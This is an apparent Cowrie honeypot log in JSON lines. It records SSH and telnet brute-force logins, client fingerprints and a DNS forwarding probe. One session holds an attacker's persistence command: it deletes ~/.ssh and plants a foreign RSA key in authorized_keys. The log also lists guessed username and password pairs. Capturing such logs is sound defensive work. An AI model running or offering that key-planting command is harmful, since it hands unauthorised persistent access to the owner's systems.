{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:05:50.633375Z","src_ip":"87.251.64.176","session":"24aac84a3330","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:05:50.924090Z","src_ip":"87.251.64.176","session":"24aac84a3330","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:05:51.023183Z","session":"24aac84a3330","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:05:51.121971Z","src_ip":"87.251.64.176","session":"24aac84a3330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:05:51.222282Z","src_ip":"87.251.64.176","session":"24aac84a3330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.746045351028442,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:02.789131Z","src_ip":"14.36.38.211","session":"540858a6dedf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36106,"dst_ip":"159.203.135.109","dst_port":22,"session":"1463a2618048","protocol":"ssh","message":"New connection: 159.203.92.129:36106 (159.203.135.109:22) [session: 1463a2618048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:14.638630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:14.643471Z","src_ip":"159.203.92.129","session":"1463a2618048","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:14.649177Z","src_ip":"159.203.92.129","session":"1463a2618048","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Data","password":"korea2012","message":"login attempt [Data/korea2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:14.661537Z","src_ip":"159.203.92.129","session":"1463a2618048","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:15.670995Z","src_ip":"159.203.92.129","session":"1463a2618048","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":55080,"dst_ip":"10.17.0.5","dst_port":22,"session":"4060e5e30242","protocol":"ssh","message":"New connection: 79.116.23.158:55080 (10.17.0.5:22) [session: 4060e5e30242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:38.679061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:38.683115Z","src_ip":"79.116.23.158","session":"4060e5e30242","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:38.805301Z","src_ip":"79.116.23.158","session":"4060e5e30242","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle12345","message":"login attempt [oracle/oracle12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:39.326210Z","src_ip":"79.116.23.158","session":"4060e5e30242","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:39.622169Z","src_ip":"79.116.23.158","session":"4060e5e30242","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:39.625663Z","src_ip":"79.116.23.158","session":"4060e5e30242","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:39.629520Z","src_ip":"79.116.23.158","session":"4060e5e30242","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:39.754203Z","src_ip":"79.116.23.158","session":"4060e5e30242","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:40.037073Z","src_ip":"79.116.23.158","session":"4060e5e30242","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:40.040427Z","src_ip":"79.116.23.158","session":"4060e5e30242","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:40.165506Z","src_ip":"79.116.23.158","session":"4060e5e30242","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:40.169416Z","src_ip":"79.116.23.158","session":"4060e5e30242","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":55672,"dst_ip":"10.17.0.5","dst_port":22,"session":"93e4a96a8ecc","protocol":"ssh","message":"New connection: 79.116.23.158:55672 (10.17.0.5:22) [session: 93e4a96a8ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:40.260603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:40.265032Z","src_ip":"79.116.23.158","session":"93e4a96a8ecc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:40.370917Z","src_ip":"79.116.23.158","session":"93e4a96a8ecc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:40.826962Z","src_ip":"79.116.23.158","session":"93e4a96a8ecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:41.935934Z","src_ip":"79.116.23.158","session":"93e4a96a8ecc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":56248,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1068a928a7e","protocol":"ssh","message":"New connection: 79.116.23.158:56248 (10.17.0.5:22) [session: d1068a928a7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:42.059937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:42.064918Z","src_ip":"79.116.23.158","session":"d1068a928a7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:42.186060Z","src_ip":"79.116.23.158","session":"d1068a928a7e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:42.705191Z","src_ip":"79.116.23.158","session":"d1068a928a7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:42.829831Z","src_ip":"79.116.23.158","session":"d1068a928a7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:42.834162Z","src_ip":"79.116.23.158","session":"4060e5e30242","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50742,"dst_ip":"159.203.135.109","dst_port":22,"session":"e66edccfa8f7","protocol":"ssh","message":"New connection: 159.203.92.129:50742 (159.203.135.109:22) [session: e66edccfa8f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:57.125340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:57.129737Z","src_ip":"159.203.92.129","session":"e66edccfa8f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:57.133941Z","src_ip":"159.203.92.129","session":"e66edccfa8f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Data","password":"korea2013","message":"login attempt [Data/korea2013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:57.146077Z","src_ip":"159.203.92.129","session":"e66edccfa8f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:06:58.152227Z","src_ip":"159.203.92.129","session":"e66edccfa8f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":44556,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe8bdc9cd5b2","protocol":"ssh","message":"New connection: 79.116.23.158:44556 (10.17.0.5:22) [session: fe8bdc9cd5b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:07:30.542013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:07:30.547041Z","src_ip":"79.116.23.158","session":"fe8bdc9cd5b2","protocol":"ssh"}
